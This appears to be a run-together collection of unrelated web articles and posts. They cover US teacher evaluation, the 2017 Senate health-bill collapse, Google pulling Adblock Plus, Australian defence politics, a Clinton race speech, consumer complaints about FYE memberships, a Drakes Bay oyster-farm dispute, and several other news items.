In addition to student surveys, the school’s principal and assistant principal spent hours observing the teachers’ classrooms, documenting their instructional moves and practices and later debriefing what went well and what could be improved. Teachers also assembled a portfolio containing an assignment they gave students, how they taught this assignment, and samples of the student work produced. This portfolio was scored by educators trained at UCLA to assess teaching quality on several dimensions, including academic rigor and relevance. Teachers then completed a reflection on the scores they received, what they learned from the data, and how they planned to improve their practice.
After receiving these three different kinds of data—student surveys, observations, and portfolio assessments—almost all teachers reported in a survey that they appreciated receiving multiple measures of their practice. Most teachers reported that the measures were a fair assessment of the quality of their teaching, and that the evaluation process helped them grow as educators. But there was also consensus that more information was needed to help them improve their scores. For example, some teachers wanted to know how to make assignments more relevant to students’ lives; others asked for more support reflecting on their observation transcripts.
Perhaps the most important accomplishment of this new system was that it restored teachers’ trust in the process of evaluation. Very few teachers trust that value-added measures—which are based on tests that are far removed from their daily work—can inform their improvement. This is an issue explored by researchers who are probing the unintended consequences of teacher accountability systems tied to value-added measures (such as the formula used by the L.A. Times). For example, Harvard researcher Susan Moore Johnson cautions that value-added evaluation methods may reduce trust and undermine collaboration, affirming schools as egg-crate organizations where teachers work in isolation. We know that schools flourish when the adults inside are working together, not apart. Long-term research on school reform affirms the central role that relational trust and respect play in improving schools.
The L.A. Times database and other rankings miss the most important qualities of great teachers. They open their classroom doors and make their practice public. And they trust their colleagues and others to tell them when they are calling on some students over others, to point out when their lesson doesn’t challenge all students, or to suggest ways to enliven classroom discussions. Embracing and acting upon this sort of feedback takes courage and isn’t easy, especially in today’s education climate. But focusing public attention on teacher learning and betterment is the best route to restoring trust in teacher evaluation. That’s a story worth sharing with your neighbors.
Karen Hunter Quartz is research director at the UCLA Community School and a faculty member in the UCLA Graduate School of Education and Information Studies. She wrote this for Thinking L.A., a partnership of UCLA and Zocalo Public Square.
Contact us at [email protected] (AP) - The Latest on the Republican effort to overhaul the Obama health law (all times local):
7 p.m.
Senate Republicans have conceded defeat on their last-ditch effort to repeal and replace "Obamacare."
Sen. Bill Cassidy, R-La., flanked by Sen. Lindsey Graham, R-S.C., right, and Senate Majority Leader Mitch McConnell, R-Ky., left, speaks to reporters as they faced assured defeat on the Graham-Cassidy bill, the GOP's latest attempt to repeal the Obama health care law, at the Capitol in Washington, Tuesday, Sept. 26, 2017, in Washington. The decision marked the latest defeat on the issue for President Donald Trump and Senate Majority Leader Mitch McConnell in the Republican-controlled Congress. (AP Photo/Andrew Harnik)
The bill's authors acknowledge they don't have the votes ahead of a critical deadline at the end of this week.
President Donald Trump is slamming 'certain so-called Republicans' and Majority Leader Mitch McConnell says the focus will now turn to tax reform.
Sen. Lindsey Graham, a sponsor of the latest, last-ditch effort, says Republicans are going to fulfill the promise they've made to voters and the GOP base for the past seven years.
___
2:39 p.m.
Senate Republicans are insisting they won't give up on repealing and replacing the Obama health care law even as they abandoned plans for a vote this week.
Majority Leader Mitch McConnell told reporters after a closed-door luncheon in which the GOP decided not to hold the vote: "We haven't given up on changing the American health care system. We aren't going to be able to do it this week."
Sen. Lindsey Graham, a sponsor of the latest, last-ditch effort, said Republicans are going to fulfill the promise they've made to voters and the GOP base for the past seven years.
But it was clear that the GOP is moving on to the next complicated legislative priority. McConnell said: "Where we go from here is tax reform."
____
2:05 p.m.
Senate Republicans will not vote this week on the latest, last-ditch effort to repeal and replace Barack Obama's Affordable Care Act.
That's the word from senators as they emerged from a closed-door meeting on Tuesday. Sen. Jeff Flake of Arizona shook his head and said "no" when asked about plans for a vote.
The setback marks the end for the latest drive to overturn the law, a promise the GOP has made to voters for seven years.
The latest iteration of the bill was sponsored by Sens. Bill Cassidy and Lindsey Graham, but opposition from at least three Republican senators in the narrowly-divided Senate sunk the measure's chances. Democrats were unified in their opposition.
____
11:52 a.m.
A new analysis finds that 34 states and Washington, D.C., would lose money under the newest version of the Republican health care bill.
This is despite last-minute changes to the legislation.
Overall, states would get $205 billion less in federal health care money from 2020-2026, according to the analysis from consulting firm Avalere Health, which was released Tuesday.
States that expanded Medicaid to cover low-income adults, as well as those where lots of residents have signed up for subsidized private health insurance, were more likely to be losers under the Graham-Cassidy bill.
The latest changes soften the magnitude of the funding shifts, but the end result remains similar.
Half the 30 states President Donald Trump won last year would lose money.
Losses would grow over time. Sixteen states would gain money.
____
11 a.m.
President Donald Trump says he's "disappointed in certain so-called Republicans" who have opposed the latest GOP attempt to repeal former President Barack Obama's health care overhaul.
Trump tells reporters at the White House that "we'll see what happens" on whether the Senate will vote on the plan, which has suffered from Republican defections.
Trump says he's "very disappointed by a couple of senators," adding, "We don't know why they did it."
The president says "at some point there will be a repeal and replace" of the health care law. But Republican leaders in the Senate are conceding that their prospects for repealing the law are dismal.
____
10:40 a.m.
Senate Majority Leader Mitch McConnell says the partisan debate over the country's health care system will "certainly continue."
The Kentucky Republican spoke as he tries to decide whether to hold a vote on the latest GOP bill repealing President Barack Obama's law. That measure seems almost certain to be defeated if a roll call were held.
The Republican legislation would transform much "Obamacare" spending into grants states could spend on health programs with few constraints.
McConnell called that proposal a "stark contrast" to a plan by Vermont independent Sen. Bernie Sanders. That measure is backed by many Democrats and would create government-run health insurance.
McConnell says Sanders' plan would "rip" health insurance from people. He called the issue an important debate and said, "It's one that we'll certainly continue."
____
9:35 a.m.
The White House says it believes a Senate health care bill that appears headed for defeat is "still good legislation."
Spokeswoman Sarah Huckabee Sanders says the White House is "fully committed" to improving the health care system and that the Senate bill would do that.
With no Democratic support expected, three "no" votes from Republicans would appear to doom the bill. Republicans control 52 Senate seats and Sens. Susan Collins of Maine, John McCain of Arizona and Rand Paul of Kentucky have said they will not vote for the bill.
Sanders held out hope that opposing lawmakers might change their minds, or that undecided senators - like Lisa Murkowski of Alaska - will support it.
Senate Republican leaders have conceded that prospects for passing the measure this week appear dismal.
____
3:43 a.m.
Republican Sen. Susan Collins' decision to oppose the GOP push to repeal President Barack Obama's health care overhaul leaves the effort all but dead. Even party leaders concede that their prospects are dismal.
South Dakota Sen. John Thune, the No. 3 GOP Senate leader, says reviving the push would be a heavy lift.
Thune made the comment after Collins joined a small but pivotal cluster of Republicans saying they're against the measure.
GOP Sens. John McCain of Arizona, Rand Paul of Kentucky and Ted Cruz of Texas are also against the legislation, though Cruz aides say he might back it if changes are made. Alaska's Lisa Murkowski is a Republican who's undecided.
With their narrow Senate majority, defections by three GOP senators would doom the bill.Google is in the habit of making a lot of people very upset lately, it seems.
And here it goes again. The company has just removed the popular Adblock Plus app from Google Play, along with other ad-blocking apps.
According to Google, Adblock Plus “interferes with or accesses another service or product in an unauthorized manner,” which Google says is a violation of section 4.4 of the Developer Distribution Agreement.
Sounds complicated, but it really isn’t: Google makes its cash off ads, and Adblock Plus blocks ads. Frankly it’s a surprise it’s taken Google this long to make a move.
Predictably, Adblock Plus isn’t happy with the turn of events and says Google is putting its own revenue considerations before Internet freedom and consumer choice.
“We realize that advertising revenue is important to Google, but understand that Adblock Plus does not automatically block all ads; we simply allow users the choice whether to block ads or whitelist them,” Adblock Plus co-founder Till Faida said in a statement. (We’ll have more from Faida on Thursday morning.)
Google’s move comes a few weeks after the search/advertising/smartphone giant decided to block AdBlock Plus from working on devices running Android 4.2.2. Removing Adblock Plus, then, is a natural extension of that decision.
We’ve reached out to Google for comment on its latest move, but in the meantime, take a gander at the full email sent to the Adblock Plus team.'Liberated' Defence Minister Marise Payne set to thrive from reduced workload in new Turnbull frontbench
Updated
Ten months ago, Defence Minister Marise Payne was lauded as one of the big "winners" in Malcolm Turnbull's first ministry.
However now in the Prime Minister's newly revamped frontbench, she is apparently one of the "losers".
Defence is regarded as one of the toughest jobs in government, but now Senator Payne will be fulfilling her ministerial duties without the extra responsibility of Defence Industry.
Instead, the task of overseeing Australia's biggest expansion of naval power since World War II will fall to Cabinet colleague Christopher Pyne, who takes over the newly created Defence Industry Ministry.
While some commentators consider this a demotion for one of Cabinet's most senior women, it should actually liberate the long-serving Senator.
It should free her up for the challenging task of managing Australia's military commitments in the Middle East, as well as responding to the growing maritime tensions with China in the South China Sea.
During her first few months in the job Senator Payne impressed defence officials, military leaders and Government colleagues with her sharp grasp of the job, but in more recent times there have been growing grumblings with workings of the minister's office and her low public profile in an important national security portfolio.
Senator Payne notably absent during Iraq visits
Members of the military community, Defence companies and others regularly complain how difficult it is to get access to Senator Payne, and report it is much easier dealing with junior colleagues such as Veterans' Minister Dan Tehan.
In Iraq and Afghanistan, diggers are also increasingly frustrated their Defence Minister has not yet managed to visit, despite being a regular to the Middle East when she was a diligent member of the Parliament's Committee on Defence and Foreign Affairs.
Last month at the National Press Club, Senator Payne also acknowledged her failure to visit was an "infinite frustration", but blamed the Senate's unpredictable sitting timetable and Mr Turnbull for gatecrashing one of her two planned, but subsequently aborted, visits
At that appearance at the National Press Club, for an election debate with Stephen Conroy, Senator Payne greatly impressed the audience and even won praise from Labor's Defence spokesman for being "on top of the issues".
The appearance also served to highlight that one of the Government's strongest performers had not bothered to once appear at the National Press Club, not even to help sell the Government's long-awaited Defence White Paper released earlier in the year.
In fact, since being appointed to the Defence role, Senator Payne has done very few national media appearances compared to her immediate predecessors, apart from occasional joint press conferences with Mr Turnbull and other senior frontbench colleagues.
For much of the two month election campaign the Minister appeared to take on the role of a self-appointed "Minister for Western Sydney", promoting community grant announcements rather than talk about the Government's important defence projects.
With the second Turnbull Ministry finally sworn in, the hope of the military community is that a minister liberated from the complex responsibilities of overseeing Defence Industry may now have more time to engage and explain Australia's $32 billion defence budget, and how its forces will navigate a region bristling with military rivalries and tensions.
Topics: defence-forces, defence-and-national-security, defence-industry, federal-parliament, federal---state-issues, federal-government, federal-elections, australia
First postedNEW YORK — In Hillary Clinton’s sweeping plan to boost racial equality if elected president, announced last week in Harlem, her most powerful message may have been to white voters.
"White Americans need to do a better job at listening when African Americans talk about the seen and unseen barriers they face every day," she said. "Practice humility rather than assume that our experience is everyone’s experiences."
Yes, during the event, Clinton announced a wide-ranging plan to dismantle racial discrimination and bias through a mix of new and previously proposed policies. She proposed a plan to close the school-to-prison pipeline. She intends to reduce youth unemployment and close the gender pay gap, which she noted especially affects women of color. She talked about banning areas on job applications where ex-offenders are asked to disclose any criminal background.
But the speech also seemed to mark a turning point for Clinton, who used the opportunity to show black voters she’s heard the criticism directed at her, while also asking white voters to actively participate in dismantling racism.
Clinton has made faux pas on race in the past
African Americans still generally support Clinton. And that will be crucial for her going into Saturday's South Carolina primary, where a majority of voters are black.
Nonetheless, she's still faced multiple confrontations and tough questions from black voters since announcing her bid for the presidency last year. In fact, when it comes to race, several moments have dogged Clinton’s campaign.
In June, at a historic black church just miles from Ferguson, Missouri, which had protests over the shooting of 18-year-old black resident Michael Brown a year prior, Clinton used the term "all lives matter," which has been used frequently to downplay the sentiment behind the Black Lives Matter movement. She wasn’t alone on this, since her Democratic rivals at the time, Martin O’Malley and Bernie Sanders, have both encountered pushback for using the term.
Later in August, a group of Black Lives Matter activists spoke with Clinton after a New Hampshire campaign event, and the conversation grew tense. A particular sticking point was whether a president can change people’s racist attitudes, and how law enforcement policies under Bill Clinton's administration have contributed to racist views.
Earlier this month, legal scholar and author Michelle Alexander declared that Clinton hadn’t earned the black vote. She wrote that Clinton had a role in ushering in policies during the 1990s that were part of a major push for "tough-on-crime" legislation, leading to disproportionate imprisonment among people of color. She also pointed out the effects of allowing mass economic globalization, which eliminated many jobs for black workers in the US.
Clinton used a unifying message, with a call for white Democrats to help end systemic racism
In 2008, as Clinton debated Barack Obama during the Democratic primary, one might remember the sarcastic tone she took around the idea that a president could "wave a magic wand" to help people abandon their divisiveness.
But Tuesday at the Schomburg Center for Research in Black Culture on Malcolm X Boulevard, Clinton attempted to flip the script. She pivoted away from her words this summer about not being able, as a president, to change the hearts and minds of voters who are ignorant to racism. Instead, she told voters to "hold me responsible," adding that "ending systemic racism requires contributions from all of us, especially those of us who haven't experienced it ourselves."
Clinton alluded that focusing on economic status as a means to deal with racism is comforting for some who have not had to deal directly with racism in their lives.
She even made a dig at her remaining rival on the left, Sen. Bernie Sanders, who has been met with skepticism as to whether his overall message of dismantling economic inequality can do anything to also break down racial bias.
"We have to begin by facing up to the reality of systemic racism, because these are not problems with economic equality," she told the crowd. "These are problems with racial inequality."
In recent months, though, Sanders has expanded his vision with a broader plank on racial justice and equality.
Overall, Clinton’s plan for helping erode discrimination against people of color seems pretty broad. But she declared, borrowing from black lesbian feminist poet Audre Lorde, "we're not a single-issue country," meaning that all of these policy goals can be met through a sustained, collaborative effort.
Throughout Clinton's speech, she leaned into both subtle and overt references to black thought leaders to share her policy proposals, while also attempting to show she’s been listening to the feedback.
She used the term "intersectionality," which was coined by scholar Kimberlé Crenshaw decades ago to describe how systems of oppression are interconnected (for example, how women of color are uniquely met with both racism and sexism).
In addition to Lorde, Clinton quoted poet Langston Hughes, who wrote in "Mother to Son" that when "life ain’t no crystal stair you’ve got to keep climbing."
She spoke of learning from Marian Wright Edelman, an advocate for the rights and opportunity for children and founder of the Children’s Defense Fund, where Clinton got her start as a young lawyer.
Just the fact that Clinton spoke in Harlem, two weeks before heading into the South Carolina Democratic primary — where black voters are expected to have a bigger impact than in Iowa and New Hampshire's primaries — was clearly a strategic move.
But her words show she knows what role she could play in her presidency when it comes to race: leading white people into the tough conversation around racial inequality in a meaningful way. It's a task that President Obama has somewhat sidestepped through much of his time in office, perhaps to avoid alienating many Americans who are still too uncomfortable to talk about race.
"For many white Americans, it’s tempting to believe bigotry is behind us. That would leave us with a lot less work, wouldn’t it?" Clinton said. She added, "I don’t have the answers, but I do believe we can and we must do better."
Passing policy is one thing, but ending systemic racism is another
As the crowd dissipated after her speech, one young woman of color stood near the back, watching Clinton shake hands with supporters from the stage. "How the hell is she going to even do all these things?" she asked her friend. "How many times have we heard some white guy politician say the exact same stuff?"
That young woman's questions came from true concern, especially since she is surely not alone in remaining skeptical that a politician can just show up to the White House and undo the deep-seated systems of discrimination that still linger in America. Even Clinton herself has expressed skepticism of such a feat — remember that magic wand comment? Or even what she said to activists this summer?
But there was one distinct difference in the way Clinton spoke versus the way other politicians often do. The white teenage girl sitting next to me with her mom at the Schomburg Center — clapping passionately with every admission of racial and gender inequality — may not be old enough to vote, but she's old enough to have conversations about race and difference. With time, for that girl and her peers, those conversations may be, while still uncomfortable, not insurmountable.Chopper Defined! By The Senate on 2015-08-30 19:30:00 The characters of Star Wars Rebels are varied in their ideals and goals, even within the crew of the Ghost. Define these characters with the newest set in Card Trader, Rebels: Defined.
Whether it’s the Inquisitor’s loyalty to the dark side or Zeb’s bravery, learn about these awesome new introductions to the Star Wars universe from the heroes and villains included in this collection.
The set will consist of 7 cards, with an 8th card given out as an award card. The next card in the set features Chopper! There will be 3 versions of the card: Blue, Green, and Red. Both Blue and Green are available in the Rebels: Defined Pack:
Blue: 4,000 count, 1:15 odds
Green: 1,000 count, 1:45 odds
The Red variant will have a 2,500 count with 1:1 odds. You read that correctly. Only one card will be allowed per person and the pack will cost 0 Credits. Master Access for this pack begins at 3:30 PM ET and ends at 5:30 PM ET. At 5:30 PM ET, if any Red variants are left, they will be made available to everyone for 0 Credits.
Find one of your favorite characters from Rebels in packs now!At this point, both Marvel and DC are in good positions to do some interesting stuff with their many superhero movies. James Gunn proved that a unique directorial vision can go a long way in these films with Guardians Of The Galaxy, and it looks like Taika Waititi is going to push things even further for his Thor: Ragnarok. Meanwhile, DC’s movies are such a mess that it’s probably willing to do anything to keep people interested, including just giving Dwayne Johnson is own film.
Apparently, though, both Marvel and DC recently had the same idea for shaking up their superhero projects, with ComicBook.com reporting that Aaron Sorkin is actually talking with both of them about writing a superhero movie. Sorkin says he’s “never read a comic book” and has no particular affinity for any superheroes, but if either Marvel or DC can present him with something that is really interesting, he’d love to “want to go back and start reading from the first issue on.”
Advertisement
Considering that most superheroes are more about punching and talking than walking and talking, there might not be any characters out there who are really suited to Sorkin’s style. If he does sign on to something, though, it could bring a huge boost of legitimacy to all of this comic book nonsense. Let’s just hope nobody points out that there aren’t really any women or minority writers getting the same treatment Sorkin is, because that just might blow his mind.FYE VIP Backstage Pass United States,
North Carolina Tweet Consumer complaints and reviews about FYE VIP Backstage Pass Missprincess9206 Send email Mar 13, 2018 FYE BACKSTAGE VIP So, I went into the store knowing full well I would get the benefits & charged for membership. I got my booklet & went on my way, I frequently shop this store, so having the membership kinda paid for itself. Anyways, I had a laps in payments so they cancelled my membership, or so I thought, when I went into the store to shop again, I let the sales clerk know that I wanted to renew the membership & he charged me right on the spot for renewal & said that everything would remain the same as far as my membership number & what not. So, I haven't been here in a while, life took hold and such but I was still being charged for my membership. I went online to try & log into my "unchanged" account & they are saying they have no record of me. So, I figured I forgot my username but when I typed it all in to recover it, I get a nice message in red saying my account was no longer active & that my membership had been cancelled. OKAY. so, I I tried to sign up again using my membership number, it says that I already have an account & to log into the site with my username & password! GO FIGURE. Clearly, my bank statement isn't lying when it's telling me I have a reoccurring charge from FYE for 11.99 a month. But, I'm ready to call my bank & dispute the charges & let them know what happened. AVOID THIS SIGN UP! rob8992 Send email Mar 24, 2017 the struggle is real RECURRING PAYMENT AUTHORIZED ON 03/20 FYE BACKSTAGE PASS 877-351-2131 NY called the the number they cancelled and refunded the 3 months you need to speak to a manager though.. just be nice :) The same thing happened to my wife... she bought something they say they asked her about the promotion probably but there is no way on Gods green earth she would have given them our card info to be charged monthly for a discount card. tlgovo Send email May 20, 2016 Misleaded I went into the FYE store to purchase 1 CD in January 2016 and was asked if I wanted a free VIP card to get 10% off. I asked the cashier if it was free and she reassured me it was. I spent $9.69. I noticed they have been charging me each month after that $11.99 and I called today to find out what was going on. They said they would cancel my membership but that they would not credit the bank charges of $47.96. (All for 1 CD) I don't even shop at the mall regularly but for once or twice a year tops. I finally supposedly spoke with a manager after being offered every discount to continue the membership to which I told them I was not interested, and he said that we would be refunded for the charges after I told him the cashier mislead me with telling me it was free. WE SHALL SEE. |
an increased number of gates, from 12 to 20, which adds about 181,000 square feet to the facility and more than doubles the existing dining and retail square footage — from 19,000 to 46,000.
An upper-level mezzanine that will include full-service dining will be added.
The Sea-Tac terminal will be used exclusively by Alaska Airlines. The project is set to be completed by the spring of 2021.
The estimated cost for the port’s portion of the renovation is $549.9 million. Alaska Airlines will contribute an estimated $36.8 million to build a new board room and employee spaces.
The North Satellite redesign was approved by port commissioners in September.HANGZHOU (AFP) - Despite warm relations between Moscow and Beijing, President Vladimir Putin brought a chilly gift for his Chinese counterpart Xi Jinping as they met on the sidelines of the Group of 20 summit on Sunday (Sept 4): a tub of ice cream.
Putin did not divulge the flavour of the frozen gift as he was welcomed by Xi at an official government guesthouse in the eastern Chinese city of Hangzhou.
"I promised to bring it for you. And I've brought you a whole box of ice cream," Putin said.
Xi thanked the Russian president for his "kindness", before adding that he'd developed a taste for Russian ice cream on his many official visits to Moscow.
"Every time that I come to Russia, I ask them to buy me Russian ice cream. And after, we eat the ice cream at home," said Xi, according to comments provided by the Russian delegation.
"The fresh cream you have is the best, that's why your ice cream is particularly delicious. I like it a lot," he added.
The two leaders met on the sidelines of the G20 summit and in more traditional diplomatic language pledged "enhanced cooperation", according to Xi.The Hindustan times reports that Keira Knightley regrets being atheist. The article reads …
Actor Keira Knightley, a self-confessed atheist, says she is desperate to be Catholic because she would “just get to ask for forgiveness”. “It sounds much better than having to live with guilt. It’s absolutely extraordinary. If only I wasn’t an atheist, I could get away with anything,”
And yes … some smart hack has simply taken her valid criticism of some catholic beliefs and turned it around to get a good headline. It is not a unique example, I also found this variation in another Indian paper …
These are both hilarious examples of some very opportunistic journalism.
The point Keira is making is also a very interesting one, for it is also turing the coin over to see the other side. How many times have you listened to believers telling you that they hold the high moral ground and that without belief atheists have no morals and can do whatever they wish. To use the old cliché, if only I had a penny for every instance of hearing something like that, I could … well you get the idea.
Her observation is that it is the believers who have a “do-whatever-you-like” option. If you do something wrong, no problem, just ask for forgiveness and your conscience is clear. In stark contrast, non-belief means that you need to come to terms with the consequences of your own actions, there is no magic forgive-and-forget option to tap into.
Share this: Facebook
Twitter
Reddit
Tumblr
Pinterest
LinkedIn
Pocket
Skype
WhatsApp
Email
Print
Like this: Like Loading...Photo
Houston
IN the United States, 2.8 million children are living in households with incomes of less than $2 per person per day, a benchmark more often applied to developing countries. An additional 20 million Americans live in extreme poverty. In the Gulf Coast states of Louisiana, Mississippi and Alabama, poverty rates are near 20 percent. In some of the poorer counties of Texas, where I live, rates often approach 30 percent. In these places, the Gini coefficient, a measure of inequality, ranks as high as in some sub-Saharan African countries.
Poverty takes many tolls, but in the United States, one of the most tragic has been its tight link with a group of infections known as the neglected tropical diseases, which we ordinarily think of as confined to developing countries.
Outbreaks of dengue fever, a mosquito-transmitted viral infection that is endemic to Mexico and Central America, have been reported in South Texas. Then there is cysticercosis, a parasitic infection caused by a larval pork tapeworm that leads to seizures and epilepsy; toxocariasis, another parasitic infection that causes asthma and neurological problems; cutaneous leishmaniasis, a disfiguring skin infection transmitted by sand flies; and murine typhus, a bacterial infection transmitted by fleas and often linked to rodent infestations.
Among the more frightening is Chagas disease. Transmitted by a “kissing bug” that resembles a cockroach but with the ability to feed on human blood, it is a leading cause of heart failure and sudden death throughout Latin America. It is an especially virulent scourge among pregnant women, who can pass the disease on to their babies. Just last month, the first case of congenital Chagas disease in the United States was reported.
Advertisement Continue reading the main story
These are, most likely, the most important diseases you’ve never heard of.
They disproportionately affect Americans living in poverty, and especially minorities, including up to 2.8 million African-Americans with toxocariasis and 300,000 or more people, mostly Hispanic Americans, with Chagas disease. The neglected tropical diseases thrive in the poorer South’s warm climate, especially in areas where people live in dilapidated housing or can’t afford air-conditioning and sleep with the windows open to disease-transmitting insects. They thrive wherever there is poor street drainage, plumbing, sanitation and garbage collection, and in areas with neglected swimming pools.The $36.3 million contract includes construction of the 2.2 mile extension, the center platform station, two new bridges, rebuilding a trestle, and interim improvements to the Bettini Transit Center in downtown San Rafael. Construction on the extension will begin later this summer and is expected to be completed in early 2019.
“This is an important milestone for us,” said SMART Board Chairwoman Debora Fudge. “This extension provides a link to the Larkspur Ferry and will connect SMART passengers with employment centers, entertainment, recreation and all of the benefits San Francisco has to offer. It will also connect visitors and others coming from San Francisco with the North Bay, showcasing our local shops, employers, wineries, restaurants and more.”
While work on the Larkspur Extension is underway, SMART and Golden Gate Transit have partnered to offer SMART passengers free bus service from its San Rafael station to the Larkspur Ferry terminal.
SMART’s initial passenger train service covers 43 miles, from northern Santa Rosa near the Sonoma County Airport to downtown San Rafael, with 10 stations in key locations including Rohnert Park, Cotati, Petaluma, Novato and the Marin Civic Center. SMART plans to offer the public free introductory Preview Rides, while waiting for final approval from the Federal Railroad Administration to begin full passenger service shortly.Saboteurs blew up Yemen's main oil export pipeline on Wednesday, interrupting flows of crude oil to a major export hub, the country's defense ministry said.
It was the latest assault on the country's main source of income, as Yemen relies on oil and gas exports for 90 percent of its foreign currency earnings.
The motive for the latest attack was not immediately clear, but previous acts of sabotage by tribesmen have targeted oil and other infrastructure in a bid to extract concessions from the central government.
The defense ministry said on its website, www.26sept.net, that the attack occurred in the area of Habab in Marib province.
Some 70,000 barrels are pumped through the Marib pipeline a day to Ras Isa, a crucial petroleum export terminal on the Red Sea.
According to government figures, attacks on infrastructure have cost the impoverished nation $4.5 billion (3.6 billion euros) between March 2011 and March 2013 alone.
hg/cjc (Reuters, AFP, dpa)Photograph by Gil Riego Jr.
Oysters courtesy of Waterbar.
On a map, the rambling 2,500-acre inlet known as Drakes Estero looks like a chicken foot, its bony fingers pointing north from the larger Drakes Bay. In person, the estuary is strikingly beautiful: calm water protected from ocean waves by sand spits at its mouth, flanked by headlands and low, grassy hills dotted with cattle and a few trees tough enough to withstand the wind. It's also an ecological jewel, a stopping point for dozens of species of migrating birds, host to a thriving eelgrass population, a favorite sunning spot and pupping ground for harbor seals. There are signs of civilization, though: Hiking paths traverse the estuary on both sides and it's a peaceful destination for kayakers. The air is bracing, briny, restorative. It's hard to believe even the most heartless capitalist could do it harm.
The debate over who is the best steward for this piece of land could be settled this week in the Ninth Circuit Court of Appeals in San Francisco. Drakes Bay Oyster Company, the only commercial business in Drakes Estero, has been ordered by the federal government to leave the estuary after its 40-year operating permit expired in November 2012. Drakes Estero is protected federal land — part of the Point Reyes National Seashore — and the National Park Service wants the oyster farm gone so the estuary can become the first marine protected wilderness on the West Coast.
In response, Drakes Bay Oyster Company is suing the federal government over the right to stay open. Owner Kevin Lunny argues that the farm is an important cultural heritage site for the park and has been since the 1930s; that oysters are good for the environment; that local, sustainably grown food is important in the age of factory farms and carbon footprints. If his suit is unsuccessful, the oyster farm will close — leaving two dozen people out of jobs and the Bay Area out of a significant source of local oysters.
The fight has bitterly divided the liberal, eco-friendly community of the Bay Area. Environmentalists fear that a decision in favor of the oyster farm could set a precedent to open up protected wilderness lands to private interests pursuing fracking, offshore oil drilling, and other shadowy, anti-nature plots. To food advocates and producers, a decision against the oyster farm could be another nail in the coffin of the rapidly disappearing American family farm and the utopian dream of a sustainable, local culinary culture in the Bay Area.
Those who are in favor of both the environment and local food — that is, most Bay Area residents — have been forced to choose between the two. As the issue has divided the community, it has also created some strange bedfellows. Sustainable food advocates have found themselves on the same side as small-government Republicans, who see the case as an example of government trampling private interests, and have attached a 10-year lease extension for the oyster farm to a bill in Congress that also includes legislation expediting the construction of the Keystone XL pipeline and the opening of the Arctic National Wildlife Reserve for gas and oil development.
The case will likely be settled in court. But the ferocity of the debate suggests that the concepts of "wilderness" and "environmentalism" that we've been using to frame it have become obsolete. Is a sustainable farm providing local food better for the environment in some cases than letting the land sit as pristine wilderness? Even the idea of some proto-natural state that the estuary can return to is a fraught concept, given that Native Americans had been changing the land in that area for millennia before white settlers showed up. Questions like that will linger long after Drakes Bay Oyster Farm has received its decision; but no matter which way the decision falls, it sheds light on the need to redefine what we consider environmental preservation today.
The whole thing might've been smooth sailing if it weren't for Lunny, a third-generation Marin rancher who grew up on the historic "G" Ranch next to Drakes Estero. Lunny still runs an organic, grass-fed beef business that his family has owned since 1940, and says he hadn't considered aquaculture until the oyster farm's former owners asked for his help in early 2004 to revive the struggling business. Lunny bought the farm later that year and renamed it Drakes Bay Oyster Company. He also assumed ownership of a unique relationship between small business and government.
Drakes Estero is part of Point Reyes National Seashore, 71,000 acres of West Marin County comprised of rocky coast, grassy headlands, wild elk herds, and, curiously for a national park, a number of commercial farms and ranches. The region has enjoyed a thriving dairy and cattle business since before the Gold Rush, thanks to near-ideal conditions: a cool, temperate climate, lush prairie grasses, and the abundance of fresh water. Ranchers and farmers work today on land they've inherited from their grandparents and great-grandparents, many of whom were ranching here before California became a state.
Point Reyes feels like a step back to an era not so long ago when nearly a third of the American population lived on family farms (the Census Bureau stopped counting in 1993, after the number dropped below 2 percent). In a sense it is — government effort has preserved this particular corner of American culture. As the Bay Area population swelled in the 1950s and '60s, suburbanization and commercial development threatened the Point Reyes ranchers' way of life and the unique ecological character of the region. So environmental activist groups like the Sierra Club formed an alliance with ranchers and successfully lobbied Congress to pass legislation establishing the Point Reyes National Seashore, which President Kennedy signed into law in 1962.
The bill established one of the first national parks next to a major American city (from downtown San Francisco, you could be in Point Reyes in the time it takes to wait in line at Swan Oyster Depot). In the bill, Congress provided for established ranchers by buying their land and letting them continue working on it on long-term leases in a newly created "pastoral zone," thus preserving the cultural and economic heritage of the region along with the land.Compare Height Tool
How tall am I compared to celebrities you may ask? People are constantly comparing their height to others. Want to compare your height to celebs or want to know the height of celebrities? Now you can... read on.
How tall am I compared to celebrities you may ask? People are constantly comparing their height to others. Want to compare your height to celebs or want to know the height of celebrities? Now you can... read on.
Our unique interactive height compare tool may be just what you are looking for. Simply follow the user interface, add your height and view the results. Please recommend this 'compare height' tool to all your friends.
Compare Height Now! - Almost 6,000 celebrities are included in our database.
These amazing inventions can be purchased (all prices include tax) with fast shipping on this site.
Click the image to check out these amazing products. You would be suprised if you knew how many people are using them.
Want to compare your height?
Ever asked yourself any of the following questions?
What is the average celebrity height?
What is the celebrity height of...Will Smith, Rihanna, Matt Damon, Yao Ming and many more?
Can I compare my height to...?
Celebrity height comparison
Our interactive tool will allow you to compare your height to hundreds of famous people, also giving you a graphical view of the comparison. Try it yourself and compare your height to celebrities and view the results!
The flash tool on this web page is protected by copyright and is the property of tallerheels.
Compare your height to celebrities!
People are constantly comparing themselves with others. Research has shown men in particularly compare their own height with friends and even stragers on average 3 times a day. With some people it is an obsession. Research also suggests that people are more likely to compare their height to others at a higher frequency when they are between a certain height bracket. For men, this bracker is between 5'8 and 5'10. Males within this height range are known to compare their height with others around them up to 23 times a day.
Height is a very sensitive issue within this height bracket. The most likely reason for this is because this is just under the average height of a man (fully developed) and such people wish they were taller to meet the average male height.
Using the tool above, check out the heights of many famous people and see how your height compares.The White House rolled out a new initiative that is intended to raise public awareness of tire safety and fuel economy. The program was officially introduced by Transportation Department Secretary Anthony Foxx, who explained that it is aimed at providing consumers with guidelines and recommendations on how to choose the appropriate tires for ensuring better mileage and prevent crashes caused by defective tires. One of the key goals of the program will be encouraging car owners to buy low rolling resistance tires when replacing their old tires, as they help reduce fuel consumption, helping drivers save a lot of money on gas in the long run, even though they are more expensive to buy than other tires.
According to the National Highway Traffic Safety Administration (NHTSA), if 10 percent of replacement tires had lower rolling resistance, U.S. consumers would save over $200 million in gasoline costs, and annual carbon emissions would be reduced by 690,000 tons. Foxx was accompanied by NASCAR driver Ryan Blaney when he made the announcement at the White House. The Department of Transportation has partnered up with NASCAR to launch the “Drive for Safety” initiative, which will be promoted throughout the 2015 racing season.
